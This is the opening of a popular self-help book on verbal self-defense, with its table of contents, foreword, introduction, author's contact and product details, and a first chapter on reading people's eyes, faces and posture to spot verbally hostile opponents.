The Monotonous Drone 222
The Fast Talker 223
Name-Dropper 223
The Know-It-All 224
SlangGangers 225
Conversation Hogs 226
Repeat, Repeating, Repeaters 226
Wordy Ones 227
The Whiner 227
18
Verbal Combat Against Painful Verbal Abusers
229
Verbal Abuse Can Actually Make You Nauseous! 229
The Verbally Dead 230
Verbal Vomiters 231
Sugary Sweet Phonies 232
Poor-Poor Me 233
“Fibbers” 234
*%#&@ Cussers! 234
Me, Me, Me 235
The Anointed One Has Spoken! 236
19
Verbal Combat Against Dangerous Verbal Abusers
239
PROCEED WITH EXTREME CAUTION! 239
Lambs to Lions 240
Control Freaks 240
Backstabbing Enviers 241
Hitting-Below-the-Belt Abusers 242
Verbal Interrogators 243
Fanatics and Zealots 244
Yes-Yes Do-Nothings 245
The Mentally/Verbally Disturbed 247
Racist, Sexist, Verbal Xenophobes 248
Verbal Lumberjacks 249
Nosybodies 250
Page xvi
Part 6:
Dodging Verbal Bullets in Specific Battlefields
253
20
Verbal Defense over the Telephone
255
Pesky Persistent Telephone Sales Calls 256
Slick Willy 257
Unhelpful Helpers 257
Go Ahead—Blame It on the Phone! 258
Oh No! I Need Some New Eardrums! 259
Huh? Huh? Huh? Huh? 259
What in the World Did They Say? 259
Help! I'm Gonna Drown in a Sea of Words! 259
I Gotta Go, I Gotta Go, I Gotta Go, I Gotta Go! 260
I Got Your Machine! You Sound Silly! 261
Time to Change the Message 261
Making a Great Message 262
Phone Munching 262
Choose—Them or Me? 263
A Return Call Would Be Nice! 264
Stop Calling Already! 264
21
Verbal Self-Defense in Sticky Situations
267
I'm So Humiliated! 268
Ouch! Those Coals Are Hot! 268
It's Not So Funny When It's Me! 268
Burning Brunts of Jokes 269
You Don't Like Me! You Really Don't Like Me! 270
When Someone Says Something Mean or Sarcastic to You 272
Oh No! Tell Me This Is Just a Bad Dream! 272
Please, I Beg You, Please Don't Tell Them That! 273
There Are No Representatives in This House of Speakers! 273
Hey! Butt Out! 274
You're Really Nice After All! 274
You Said What About Me? 274
Keep Your Opinions to Yourself! 275
Are You Mute or Something? 275
Stop Kvetching Already! 276
Speaking in Different Languages 276
What Am I, a Bank? 277
What Part of the Word “No” Don't You Understand? 277
Tactfully Telling Someone About Body Odor 277
Someone Who Never Gets the Bill 278
Page xvii
22
Verbal Self-Defense in More Difficult Situations
281
Breaking the Bad News 281
You're Not the Only One! 282
Talking to the Grieving 283
Dying with Love! 283
Gotcha! 284
Liar, Liar, Pants on Fire! I'll Never Admit I'm a Liar! 285
Sweet Talkin' “Ear Candy” 285
Sexually and Racially Incorrect 286
Come On! Just a Little Bite! 287
Enough About My Weight Already! 287
That's My Friend You're Talking About! 287
You Don't Know What You're Talking About! 288
Talking to Those with Speaking Challenges 288
Talking to Those with Hearing Challenges 289
Talking to the Physically Challenged 289
Talking to the Mentally Ill 289
No—Not You! 290
I Admit It! I Did It! 290
Don't Judge a Book by Its Cover! 291
23
Verbal Self-Defense Can Save Your Life!
293
Listen for Verbal Red Flags! 294
What You Hear Is Not Always What You Get! 294
Listening Between the Lines 295
Put a Lid on It! 295
I Wouldn't Mouth Off If I Were You! 296
Your Speech Is a Loaded Gun 296
Topics That, When Mentioned in Anger, Can Declare Verbal
War
297
Road Rage! Theater Rage! Outrage! 297
SHHHHHHHHHHHHH! 298
I SAID NO TALKIN'!! 298
Reason Before You Start Teasin' 299
Tones Can Kill 299
You're OK, I'm OK. OK, You're OK 300
Non-Words Can Kill 300
Your Mouth Can Save Your Life 301
Verbal Kicks, Vocal Chops, Tonal Blocks 301
Be Nice! 301
To Catch a Thief! 302
Rape 302
Date Rape 303
Page xviii
Sex Talk—Before It Gets Too Hot to Handle! 303
Wear a What? 304
24
Verbally Defending YOU Against YOU!
307
What Did You Say? That's What They Think! 308
Verbalize! No Complaints! Fix What You Hate! 308
Never Let the “Cat Get Your Tongue” 309
Quashing Your Negative Words About You 310
Observe What You Say to Potential Verbal Spies! 310
Loose Lips Sink Ships! 310
Losing the Verbal War by Trashing Your Family! 311
Winning by Letting It Leak! 312
Losing the Verbal Battle by Recycling the Word 312
Verbal Defeat Through Verbal Ecstasy—Why Tellin' All Feels Soooo
Good!
313
Don't Blame! Extinguish the Flame! 314
Making Amends Verbally 314
No More Verbal Hypocrisy—a Clean Battlefield 315
Winning the War Through Verbal Gifts! 316
Appendixes
A Resources 319
References for Speech Pathologists 319
B To Order Dr Glass's Products 323
References for Psychological Services 323
Index 325
Page xix
FOREWORD
In the beginning was the WORD. The rest, is as they say, history …
Words have had magic power ever since human beings used language to liberate themselves from the
constraints of physical reality. Every other life form adapts to the world as it is. Only human beings JUST SAY
NO! to reality. Only human beings use words to envision the world as we'd like it to be, and then transform it
accordingly. Words are magic symbols by which our dreams become reality.
Words are also the vehicles by which we exchange our thoughts and feelings with others, and in so doing
become aware of ourselves (conscious = to know with). The self is literally an ongoing stream of words
(psychologists have a variety of terms for this notion; e.g., “stream of consciousness,” “inner newsreel,”
“autobiographical narrative”). So it should not surprise us then, that words are central to the integrity of the
self. When someone puts in a good word about us, or for us, the self is fortified in proportion to the magnitude
of the praise and the importance (in our minds at least) of the mouth from which the good words emerged.
Prestige is thus the accumulated good words of others; and the primary meaning of prestige is “enchantment”
and “illusion.” I told you words are magic power!
But words, like any power, can, and often are, used destructively. We fight wars with words, and over words.
And whoever said “sticks and stones can break my bones, but names can never harm me” obviously didn't
grow up in my neighborhood in the Bronx in the 1950s, or for that matter, anywhere on earth since the dawn of
human history. A bad word from the medicine man of many “primitive” peoples is sufficient to kill a person in
a few days. We're a bit more subtle in contemporary western civilization, where daily verbal assaults serve to
constantly diminish us and condemn us to a slower (but nevertheless ultimately very similar) death. We
(observed Martin Luther King, Jr.) “see ominous clouds of inferiority beginning to form in” our “little mental”
skies; we become de-moralized and disillusioned: “at a loss for words” precisely when we each need words
most urgently to protect our most valuable psychological asset—our self.
All of us have been in situations where words have very much harmed us. All of us have been in situations
where the right words, spoken in the right way, at the right time, would have protected us from an especially
vicious verbal assault. Words have failed us all at times (“words fail me”), and that's why we all need to read
this book.
—SHELDON SOLOMON, PH.D., PROFESSOR OF PSYCHOLOGY AT SKIDMORE
COLLEGE
SHELDON SOLOMON, PH.D., HAS BEEN PROFESSOR OF PSYCHOLOGY AT
SKIDMORE COLLEGE SINCE 1980. HE WAS RECENTLY HONORED BY HIS FACULTY
COLLEAGUES AS THE 1998 EDWIN MOSLEY LECTURER. AS AN EXPERIMENTAL
SOCIAL PSYCHOLOGIST, HIS INTERESTS INCLUDE THE NATURE OF SELF
CONSCIOUSNESS AND SOCIAL PSYCHOLOGY. HIS WORK EXPLORING THE
EFFECTS OF THE FEAR OF DEATH ON ALL ASPECTS OF INDIVIDUAL AND SOCIAL
BEHAVIOR HAS BEEN SUPPORTED BY THE NATIONAL SCIENCE FOUNDATION
AND REPORTED IN THE NEW YORK TIMES, THE HERALD TRIBUNE, THE BOSTON
GLOBE, PSYCHOLOGY TODAY, AND SELF MAGAZINE. HE IS CO-AUTHOR OF THE
FORTHCOMING BOOK SELF-ESTEEM & MEANING (APA BOOKS, 2000).
Page xx
INTRODUCTION.
Every time you flick on your TV and channel surf, you can't seem to escape seeing one of these self-appointed
motivational gurus telling you how you can have a fantastic, phenomenal, heavenly life simply by achieving
one or more of the following goals:
Locate your lost powers so that you can have your own zillion-dollar company, tropical island, a closet full of
Armani, a limo, yacht, jet, and mansions in every state. Otherwise you're a LOSER! Make marathon love with
your partner so that he or she will be faithful! (Who would even have the energy to cheat, let alone walk, after a
night of continuous orgasms?) Lose that disgusting fat! Get off your butt and exercise! Confused about which
of the zillion exercise machines to buy? Make it easy on yourself. Get them all! The same goes for that
“miracle weight loss” food, drink, pill, or diet. Try them all, but stick with the one that makes you puke less.
Get hair! Nobody looks good without hair! It doesn't matter if it comes in a can and you spray it on—just get
some damn hair! And your skin—UGH! Get rid of those repulsive blackheads, whiteheads, and pus heads! If
you don't hurry up and use that lotion, you may end up being someone's weight-loss program, because they
won't be able to keep any food down if they look at you.
Even though you may be chuckling at these scenarios, the unfortunate truth is that these commercials and other
outside influences in the media unfairly affect the way we see who is pretty, who has a nice body, who is
socially acceptable, and who is a winner! Heaven forbid you fall short of the “rules for acceptability.” You are
then relegated to the position of social leper. The strange thing is that we have all been social lepers at one
point in our lives, and we continue to remain social lepers in the eyes of others. Maybe it's a lot of people or
maybe it's just a few people. If we weren't perceived so negatively and with such hostility, why would others,
even perfect strangers, go out of their way to come up to us just to give us verbal hell?
Even if you have all of the things mentioned in the scenario above—which, by our societies standards make
you a “success”—you can still be a social leper. Even if you are a zillionare who's fit, without a zit, and even
has hair, some people still won't like you. Who knows why? They just won't. And because they won't, they will
try to make your life hell. They will give you dirty looks and try to undermine you, negate you, and say awful
things to you.
How do I know this? I know it firsthand from the thousands of people I have seen in my private practices
throughout the years who have been devastated by some unkindness or vulgarity someone has said to them. I
have received letters and calls from thousands of people around the world who have responded to my book
Toxic People—10 Ways to Handle People Who Make Your Life Miserable. They have shared with me their
devastation at the horrible things others have said to them. These letters and calls touch me deeply. They bring
tears to my eyes as I feel for those who wrote and called.
Page xxi
What You'll Learn in This Book
No matter how much light we make of it, this is a very serious problem. Harsh words do hurt. Mean statements
do sting. Insensitive comments do devastate. Prolonged emotional pain due to constant verbal harassment can
physically maim and even kill. We often carry negative things people have said to us to our graves. Thus,
words can cause us a lifetime of pain, anguish, and agony.
This book however, was not designed to teach you how to start fights or wars! Instead, its goal is to teach you
how to defend yourself against those who start verbal fights with you. It will help you recognize who the verbal
enemy is and what strategies would work best to defeat them. As you learn the strategies available to you in
your attempts to deflect the verbal attacks, you will develop a newfound sense of self-confidence.
It's time to find a solution! It's time to fight back! It's time to relinquish the pain! It's time to never let anyone
put their mean words or verbal poison on you again! It's time to never be a verbal victim again!
How This Book Is Organized
The chapters in this book fall into six different parts, which take you through the process of how to effectively
defend yourself from the verbal dragons of the world.
Part 1, “Identifying the Verbally Venomous Opponent,” shows you how to size up your verbally offensive
opponent. You will learn the telltale emotional and physical signs of being verbally zapped. It's essential to
know exactly what type of person is verbally zapping you. These verbal abusers fall into one of two categories,
depending upon the severity of their verbal abuse. I will tell you the characteristics of each of these different
types of verbal abusers and how to immediately spot their abuse before it's too late. Knowing this can save you
from any emotional and physical torture you could possibly expect from this individual in the future. Finally,
you will receive some insight as to some of the underlying psychological reasons someone becomes a verbal
abuser and the disastrous long-term consequences of allowing verbal abuse to continue.
Before you can begin to fight your offensive opponent, you need to prepare yourself thoroughly for battle. You
need to have all of the necessary equipment available to you. In Part 2, “Preparing to Verbally Defend
Yourself,” you will learn everything you need to know about doing so. It is not enough that your equipment
and weaponry is in functioning order. It has to be in tip-top shape. If it isn't, you must do whatever you can to
make sure that it gets in that condition. This section will show you all of the ways to have the most polished
equipment, so that it is far superior to and outshines your opponent's.
In Part 3, “Verbal Defense Strategies to Use in Combat,” I give you all of the strategies you can use in order to
defend yourself against your verbal adversary. These proven techniques range from the benign to the most
powerful. You will learn the most effective verbal-defense tactics to use in certain circumstances. You will also
learn when it's time to put up the white flag and surrender.
Page xxii
Part 4, “Verbal Warfare with Specific People in Your Life,” tells you how to defend yourself against members
of the opposite sex—husband, wives, lovers, and co-workers. You will learn the best strategies to use with
family members, from children to teens to siblings to parents. Finally you will learn the best tactics to use
against any specific opponent who could possibly cross your path. You will learn defense strategies for those
you are closer to and must see more often (such as friends, co-workers, and employers), to those you may see
on occasion (professionals, police officers, and food servers), to those with whom you rarely have contact
(customer-service representatives, attorneys, and store clerks). You will learn the most effective strategies to
use based upon these people and what effect they can have on your life.
Part 5, “Verbal Combat Against Verbal Vermin,” gets very specific, breaking down the exact verbal defense
strategies to use with particular types of verbal vermin. The verbal vermin discussed come in three categories—
merely annoying, repulsive and disgusting, and downright lethal. The more threatening the verbal vermin are to
your well-being and to you life, the stronger is the verbal weaponry employed. Obviously, the less threatening
and more annoying the verbal vermin is to you, the more benign weaponry is utilized. You will learn exactly
which type of verbal weapons are best suited for each of the three types of verbal abusers.
In the sixth and final part of this book, “Dodging Verbal Bullets in Specific Battlefields,” you will learn exactly
what to say and how to say it in a myriad of situations, including getting rid of unwanted phone solicitors,
letting someone know you don't want to be used and exploited, dealing with sexist or racist remarks, breaking
bad news to someone, admitting your mistakes, confronting someone about their mistakes, and speaking to
someone who has a lifestyle you may not support.
You will also learn what to say in life-or-death situations, from calling 911 to discussing AIDS and condom
usage to verbally protecting yourself against road rage, violence, and even rape. The end of the book focuses on
the power of the word and how what you say about yourself has a profound effect on your world around you.
You will learn how to control your tongue so that what you say and how you say it always works in your
defense and not against you.
Extras
The Complete Idiot Guide series allows you to learn even more information in a rather unique way. Specific
information is presented to you in a concise and easy-to-read manner. These extra pieces or bits of information
are categorized into four sections: “Talk Back Tips,” “Verbal Vignette,” “Bon Mots,” and “Listen Up!” Each
section is easy to locate because it appears in a gray box on the page.
Page xxiii
Throughout the book you'll also see special inserts, “Talk Back” boxes. These give samples of conversations
that represent both good and bad examples of how to talk with someone. Even though many of the
conversations and dialogue may amuse you,
Page xxiv
keep in mind that people actually do speak like this. People say things that get them into trouble. Perhaps by
being a voyeur and seeing what these people say, you'll be more aware of bad patterns and not follow suit. On
the other hand, some dialogue in these boxes will also show you how to say it right!
Dedication
To my brother and very best friend in the world Manny M. Glass, who without his incredible wisdom and
insight, and a lifetime of being my “mentor” in the area of communication, this book would never have been
done. I thank you for your efforts in helping me with the research for this book and for putting your many
brilliant ideas and theories into words so that others can benefit from them as I have. As my protector and big
brother, you have showed me a lifetime of what it means to speak up for yourself—to say what you mean—to
mean what you say—and to say it so that others will hear you. Manny, how lucky I am to have studied the “Art
of Verbal Self-Defense” from the master—YOU!
Acknowledgements..
To my best friend and mother Rosalie Glass, for loving and adoring me with every inch of her heart and soul. It
is largely because of this extraordinary woman that I am able to give back to the world the integrity, warmth,
decency, sensitivity, and love that she has instilled in me throughout my entire life! I am blessed and truly
grateful for this special gift!
I wish to thank my agent Jane Dystel for being so encouraging and supportive to me in all of my literary
endeavors.
To Nancy Mikhail for soliciting me to write this book and affording me the opportunity to help relieve a lot of
anguish in the lives of those who will read this book.
To Jessica Faust, my editor, for her insight and professionalism towards this project. Thank you to my
developer and editor, John Jones, for his support, kind words, encouragement, and for our thought-provoking
conversations; and my copy editor, Erik Dafforn and production editor, Robyn Burnett.
To Tom Brennan, Susan Kaplan, Kevin Thranow, Laura Kovach and Anthony Mora of Anthony Mora
Communications, who have consistently proven to be my best PR agents.
To each and everyone of my clients, readers, listeners, seminar audiences, and television viewers who have
shared their beautiful words, lovely thoughts, and heartfelt blessings, and by letting me know that in some way,
I made a definite difference in their lives! I am both honored and humbled.
And, finally, to all of my dear friends and colleagues in the media, I thank you for your
Page xxv
love, affection, and support, and for giving me the gift of be able to do what I love the most: getting my
message—Global Peace Through Communication—out to the world.
Feel Free to Get in Touch with Me!
I am here for you! There are other products available to you (books, tapes, videos, and so on) including two
new products that have been in enormous demand—tapes and CDs with music and lyrics I have designed to
both entertain you and to make you feel good.
They are readily available to you and can be ordered at the back of the book. You will receive them as soon as
possible.
In addition, because of the numerous requests I have had from people all over the world, I have made e-mail
and telephone consultations available to you. Now you can feel free to call me up or to e-mail me with your
specific problem. For a fee, listed in the back of this book, I will consult with you in helping to answer any of
your specific questions in helping you to apply the techniques in this book and those in my others. I will help
you help yourself in resolving your own specific relationship problems, business dilemmas, or personal and
family issues that are bothering you, consuming your thoughts, and holding you back from living a happy, proactive,
and productive live.
If you would like to set up such a telephone appointment, order books, tapes, products, or my music tapes and
CDs, e-mail me at info@drlillianglass.com, www.drlillianglass.com, or call (212) 946-5729. Leave your
name, address, e-mail address, and phone number
You can even write to me for more information at one of the following addresses:
Dr. Lillian Glass
c/o Your Total Image Inc.
P.O. Box 792
NYC, NY 10021
Dr. Lillian Glass
c/o Your Total Image Inc.
435 N. Bedford Dr. Suite 413
Beverly Hills, Ca. 90210
I look forward to hearing from you and being of service to you.
Trademarks
All terms mentioned in this book that are known to be or are suspected of being trademarks or service marks
have been appropriately capitalized. Alpha Books and Macmillan General Reference cannot attest to the
accuracy of this information. Use of a term in this book should not be regarded as affecting the validity of any
trademark or service mark.
Page 1
PART 1
IDENTIFYING THE VERBALLY VENOMOUS OPPONENT
When you “know before whom you stand,” you know everything you need to about how to navigate
successfully through life. Living becomes so much easier and safer when you know the animal you are around,
and then you won't need to feel scared, insecure, or threatened.
The animal kingdom shows a great awareness of “knowing before whom one stands.” Animals' very survival
depends on it. Is another animal friend or foe? Will one be ignored, played with, or become a meal? We know
from personal observation that dogs need a lot of attention and love to play whenever possible. Cats are
usually independent, demanding less attention; chimps often mimic whatever you do; pigs usually roll around
in dirt; and goats eat just about anything you put in front of them. You just know that an iguana will never
cuddle up to you and that a large boa constrictor can wrap itself around you, squeezing your guts out. We also
know to beware of a hissing cat or a dog bearing its teeth, growling, or foaming at the mouth.
By knowing the behavior of animals, you know what you can expect from them so that you can act accordingly.
Unfortunately, when it comes to the human animal, most of us rarely pay attention to whom we are in front of.
We are often shocked and disappointed by human actions when we find out they have lied, betrayed, or refused
to make a decision. Learning to look at or listen to who is standing in front of us, however, teaches us what to
expect and saves us untold amounts of grief and disappointment.
In Part 1 of this book, you learn to spot the dangerous human lions and tigers that are ready to attack you—not
with their teeth, but with their vicious words.
Page 3
Chapter 1
Identifying the Verbally Venomous Opponent
Because knowledge is power, identifying your verbally offensive opponent can provide you with the warning
signals that the verbal enemy is approaching and ready to attack at any time. It helps you develop verbal radar
so that you know who is most likely to be your verbal opponent and what weapons that opponent will likely
use to verbally attack you. By identifying would-be attackers immediately, you will be on guard to either ward
off their verbal advances or verbally attack back. Close examination of their facial, body, and verbal language
can help you determine whether you are standing in front of a friend or foe.
Stop, Look, and Listen—Sizing Up Your Opponent.
How many nights have you stayed awake tossing and turning because of an awful, searing comment someone
made to you? As you toss and turn, unable to find a comfortable position, you feel like kicking yourself for not
saying this or that in retort to the venomous statement. The more you replay the toxic scenario in your mind,
the harder you feel like kicking yourself for not following your “gut” instincts about the person.
If it makes you feel any better, this scenario has happened to just about everyone over the age of 10. The reason
why you didn't “go with your gut” and act accordingly is because you didn't take the time to stop, look, and
listen. This basic rule of caution for
Page 4
crossing the street is also the basic rule of caution for verbal self-defense. First, stop in your tracks and assess
the situation so that you don't blindly walk into oncoming traffic. Second, look for any oncoming vehicles.
Third, listen for any oncoming vehicles that may sneak up on you, maiming or hurting you.
Follow this same procedure with everyone you encounter. First, stop in your tracks and assess the situation so
that you don't step blindly into oncoming verbal traffic. Then look at the entire person.
For instance, observe her body language, the distance she is standing away from you, her facial expression, and
shoulder, arm, and hand posture and movement. Now you are ready to open your ears and objectively listen to
what she says and how she says it to you. This loudly and clearly announces any oncoming verbal assassins
who may try to sneak up on you, emotionally maiming you.
20/20 Hindsight
If you would have stopped, looked, and listened, you would have had a good night's sleep. You would have
seen that your potential “business associate” could not even look you in the eye when speaking with you. When
he did manage to look in your direction, his eyebrows were furrowed, and his lips were pursed, tense, and
pulled over to one side. You would have seen that he was always leaning away from you, inching farther and
farther away anytime you got close to him. His physical gestures and demeanor towards you were completely
opposite of those he showed your attractive, shapely assistant when she entered the room. In that case, he
moved closer to her, smiled, and was wide-eyed, unable to take his eyes off her as he made some inane
comments to her. Had you “listened” more carefully, you would have heard him clearly through his bravado.
You would have noticed that whenever you asked him a poignant question, he never really answered you. He
was evasive, continually interrupted you, and changed the subject whenever you tried to probe further.
By stopping, looking, and listening, you would have seen ahead of time what was coming. You would have
heard his constant bragging as a cue that he was trying way too hard to convince you of how powerful he was.
You would not have been so ready to dismiss his sexist remarks about your assistant and other females you
discussed—remarks indicating his disrespect for women. You would have interpreted his evasiveness as a sign
that he had something to hide. You would have seen his inability to look at you (especially after you asked him
a significant question), his squirming, and his distancing himself from you as indications that he felt discomfort
around you. In your 20/20 hindsight, you knew all along that not only was he disrespectful towards women, but
he was obviously not being honest with you.
Page 5
Freeze and Focus
Remember when you played musical chairs as a child? While the music played, you marched around the chairs,
which always numbered one fewer than the number of children who marched around them. When the music
stopped you were told to freeze and whoever wasn't positioned in front of a chair was disqualified from the
game. That moment of freezing allowed you to assess whether you had a chair in front of you. The same is true
whenever you find yourself in front of others. You need to freeze for a moment to assess who the person really
is. Just be careful not to go into a catatonic stupor and freeze in some contorted position.
Before sizing up your opponent, it is essential for you to initially keep your mind open—a tabula rasa.
You must be objective, putting all prejudices aside. Blow out preconceived notions and open your mind so that
you can objectively input the visual and aural information into your mind's computer.
Directly face the person. Through your nose, breathe in air for three seconds while you visually take in
information about him. As he speaks, continue this breathing pattern of slowly breathing air in through your
nose, holding it for three seconds, and then slowly exhaling it for 10 seconds, until you have comfortably
expelled all the air in your lungs. All the time you are breathing the air in through your nose, absorb what the
person is doing with his posture, stance, body, arms, hands, and face.
As you begin to interact with him, absorb what he is saying and how he says it. As you breathe in the air
through your nose, hold it, then slowly exhale it while listening to him. “Stopping” gives you the opportunity to
digest and process everything he said. It gives you the valuable time needed to analyze what he is relaying to
you and for you to respond accordingly.
Reading Between the Lines
We've all heard that you can't judge a book by its cover. While this adage is partially true—you can't judge a
book's content by its cover—you can certainly determine a lot of other things from its cover. For instance,
when browsing in a bookstore, you can assess whether the book in front of you has been handled by many,
few, or no potential readers; and whether it is old or new; expensive or cheap.
Page 6
Similarly, you can determine a great deal about a person just by objectively looking and observing her. Of
course, it is odious to judge and to react to people by the color of their skin, their physical stature, hair, height,
weight, body, or facial appearance—things they can do little or nothing about, and that have nothing to do with
their character. These erroneous and dangerous perceptions breed prejudice and hatred, the cancer of our
society. Furthermore they tell you nothing at all about what the person is like. On the other hand, things people
can control—the way they act and comport themselves—are appropriate ways to evaluate people. By observing
the way people comport themselves and their bodily and facial actions, you can learn a great deal about them,
especially in terms of how they relate to you.
When you learn to objectively read between the lines, you will see things about the other person you never
noticed before. This information often gives you the added advantage during your interactions, because you no
longer merely “look.” Now you will see the truth—what is actually going on.
Looking Between the Lines Quiz
1. Is he standing too close to you?
2. Is he standing to far away from you? Does he lunge forward when speaking to
you?
3. Is his posture hunched over? Are his shoulders slumped?
4. Is his posture rigid?
5. Does he rock back and forth when he speaks?
6. Is she in constant motion?
7. Are her arms and hands in constant motion?
8. Does she gesture wildly?
9. Does she take up a lot of room, invading your space?
10. Is she tentative in her walk?
11. Is he tentative in his movements?
12. Does his jaw jut forward when he speaks or listens?
13. Is his head bowed downward?
14. Does he make gestures opposite to what he says (for example, shaking his
head “no” when he says “yes”)?

Page 7
15. Does he clench his jaw while listening to you?
16. Does she exhibit extraneous facial tics or muscle throbbing when she listens?
17. Do veins, vessels, and muscles in her neck stick out when she speaks?
18. Does she have trouble looking at you while she listens?
19. Does she look away when speaking with you?
20. Does she stare?
21. Does he have an icy cold stare?
22. Does he smile when he looks at you?
23. Does he furrow his brow (as if frowning)?
24. Does he gaze upward when speaking or listening?
25. Does he frown when looking at or listening to you?
26. Does she have a blank look when you speak to her?
27. Is she nodding her head in agreement when you speak?
28. Does she shake her head “no” when listening to you speak?
29. Does she have a disgusted look when talking with you?
30. Does she smile too quickly or inappropriately?
31. Does he look askance at you when you speak—with forehead furrowed,
mouth pulled to the side, and one eyebrow lifted?
32. Are his nostrils flared when speaking with you?
33. Is his mouth open when listening to you?
34. Does he instinctively raise his hand to his cheeks?
35. Does his face rest on his knuckles while listening to you?
Later in this book, you learn the possible meanings of each of these
observations.
Telltale Eyes
We have all heard that the “eyes are the windows to the soul.” Eyes tell us so much about another person. Our
eyes are constantly moving as we think, observe, or speak.
When someone doesn't look at you, what does it really mean? Do you immediately think there is something
wrong with you, that he is not interested in you or that he is insecure or lacks confidence? The answer may be
any or all of the above. In the following section you learn what someone is really saying to you as you decipher
what his eyes are telling you.
Page 8
Here's Looking (or Not Looking) at You, Kid!
Eyes also signal when you can answer a question, or when it's your turn to talk. When you wish to speak, you
usually look into a person's eyes. When she looks back at you, that indicates that it is your turn to speak. This
eye contact is typically broken for a few seconds when you start to speak. Thus, those who may not relate well
to you or who disrespect what you have to say might never reestablish the eye contact, which would indicate
that it is again your turn to speak, even after you interject a comment. This type of behavior often occurs with
toxic individuals who are bullies, narcissists, or unconscious of anyone but themselves. Other people might
always look around the room when they speak, never making eye contact or even gazing in your direction.
These people may not be socially adept and may feel uncomfortable or insecure in your presence.
If the person looks up toward the sky when they speak, they may be “thinking” or trying to recall something.
Looking from side to side may also indicate “thinking” in addition to being unsure or doubting something. If a
person's eyes dart back and forth quickly, they might be nervous or uncomfortable around you.
In contrast, constant piercing stares can either debilitate or stimulate. If someone “can't take his eyes off you”
and stares right into your eyes without smiling, this is not a good sign. It can be not only disconcerting, but
frightening. This person is furious with you or can't stand you. The length of time he or she stares at you in that
manner may indicate the degree of hostility towards you, and your personal safety could be in jeopardy. This is
often the case in persons who are completely out of control with extreme mental disturbances and a tendency
toward violent reactions. But not all forms of continuous staring without a smile indicate that violence is on the
way.
Once, when I was seeing a client, he stopped talking midsentence during our conversation and stared blankly at
me for what seemed to be an eternity. This was jarring, and my heart was pounding as I was thinking that he
might turn violent at any moment. It turned out that he was having a seizure.
On the other hand, constant staring may indicate that a person is madly in love with you. In this case the pupils
enlarge due to a chemical response in the brain and the subsequent action of the autonomic nervous system.
When people gaze downward at you, “stare you down,” or look you over from head to toe, they are telling you
Page 9
that they think they are better than you. They are putting you in a weaker position during an argument. When a
brow is furrowed, the eyes are narrowed as in squinting, you can be assured that the person didn't like
something you said, doesn't like you, or is angry with you.
Opening the eyes widely may indicate that the person is either surprised by something you are saying or is
trying to be emphatic about what they are saying to you. Looking down may indicate the person is
embarrassed, ashamed or saddened, or has poor self-esteem, not feeling worthy or deserving.
Excessive blinking may reflect insecurity about what the person is trying to project. It may also indicate that a
person may not be telling the truth. Lying isn't always determined by whether or not a person looks at you. In
fact, good liars can unflinchingly look into your eyes and tell a lie, and even continue to look into your eyes
after they are accused. Research shows that when most of us are caught in a lie we will look away and if we are
innocent will look at the person, but will not stare in their eyes.
A Machiavellian person will constantly stare into the accuser's eyes—an unnatural behavior where they are
consciously attempting to appear as though they have nothing to hide. This may be mistaken for honesty.
Therefore eye contact is not the only indicator to use in determining a person's guilt or innocence, but it can be
a significant factor.
If someone is looking into the distance, at her watch, or is being distracted by another object, chances are she is
bored with what you're saying or not interested in you.
Face Off
Besides a person's eyes, facial movements tell us a lot about how and what people are thinking about us.
Approximately 75 percent of our nonverbal communication is done with our face. According to Dr. Paul
Ekman at the University of San Francisco, there are approximately six basic emotions that we express through
our face: happiness, sadness, anger, disgust, surprise, and fear. No matter what culture you are from—whether
New Guinea, China, Africa, or France—these facial expressions are universal. Even though cultural differences
still exist, the fact that we all express emotion similarly is one more reason to celebrate the similarities—and
not the differences—between people.
Many people, businessmen in particular, have been trained to use a poker face to catch their opponents (and
sometimes their colleagues) off guard. If enough time is spent together, however, people's true feelings
eventually emerge. The limbic system, located
Page 10
deep within the brain, uncovers our emotions—how we feel. Even if we voluntarily try to control our facial
movements to hide our true feelings, the involuntary aspects of the brain eventually take over, unmasking the
truth.
The gamut of human emotions is revealed throughout a conversation, so if you pay close attention you will
almost always know how the person is feeling at a particular point in the conversation. A conversation might
begin with the person's eyebrows raised and head cocked to the side, which reveals that he doubts what you are
saying. As you continue to speak, you may then see the corners of his mouth turn up, indicating that he is
amused by what you're saying. As the conversation continues, three hours later you may see his slightly flared
nostrils, a slightly protruded lower lip, and a perpetual slight smile as you continue to speak, thereby indicting
that he has “fallen in love” with you.
Telltale Mouth
The mouth is a barometer of how happy or angry a person is. If someone is grimacing, or tightening or pursing
her lips, she is usually frustrated or annoyed with you. If her annoyance with you persists, her facial expression
may turn to disgust as she raises her chin and upper lip and wrinkles her nose. If she is unhappy or sad being
with you, her face will appear expressionless (with the exception of her eyes and surrounding muscles) and her
lower lip will turn downward. If she is nervous around you, you may notice her sucking, biting, chewing, or
licking her lips a lot. She may smile nervously, wherein she immediately smiles (often at inappropriate times)
and then resumes her normal facial expression.
This is what physically happens to your face when you express the following emotions.
Happiness
Smiling mouth
Cheeks raised
Lips parted
Page 11
Jaw slightly dropped
Wrinkles around eyes
Eyes relaxed and narrowed
Sadness Eyebrows raised
Forehead wrinkled
Lower lip depressed—turned
downward
Upper eyelids lowered
Anger Eyebrows lowered
Hard stare
Lips raised
Open mouth
Disgust Lower eyelid pushed up
Upper lip raised
Nose wrinkled
Open mouth
Chin raised
Eyebrows lowered
Eyes tensed and narrowed
Surprise Eyebrows raised
Upper eyelids slightly raised
Mouth open
Jaw drops
Fear Eyebrows raised
Upper lids raised
Lips stretched
Mouth open
Tense, open eyes
Body Talk
Just as the face tells no lies, neither does the body. Like we use our faces, we use universal signals in order to
get our message across, signals that transcend different cultures. The physical distance we keep, the way we
stand, our arm and hand movements, our head position, how we shake hands, and how we touch tells us if there
is a verbal enemy among us.
Keep Your Distance!
We know whether people like being around us by how physically close or distant they are. People who inch
away from you as you inch towards them don't feel the same
Page 12
towards you as you do towards them. They feel uncomfortable around you and want to get away. People who
invade your space by getting a little too close may be from another culture, where the norm in communication
is such physical closeness, or they may really like you and want to get as close as they can to you.
On the other hand, getting too close may be a power trip, where the person is attempting to be dominant over
you. Getting too close and invading one's space is an intimidation technique many business people use to gain
the psychological “upper hand” in the situation.
Stand Up!
People's posture can convey their attitude regarding how they feel about us and how they feel about
themselves. For example, a person with a low self-image may often slouch. If he doesn't slouch around others,
but slouches around you, he may be demonstrating his feelings of subservience or intimidation by
“minimizing” himself in your presence. If someone is really attentive to you, he will usually lean forward with
straight spine, arms open. If he is relaxed around you, he will lean back with his head positioned upwards and
limbs relaxed. A person who is interested in you will have his body turned towards you, while his lack of
interest in you will be reflected in his body being turned away from you.
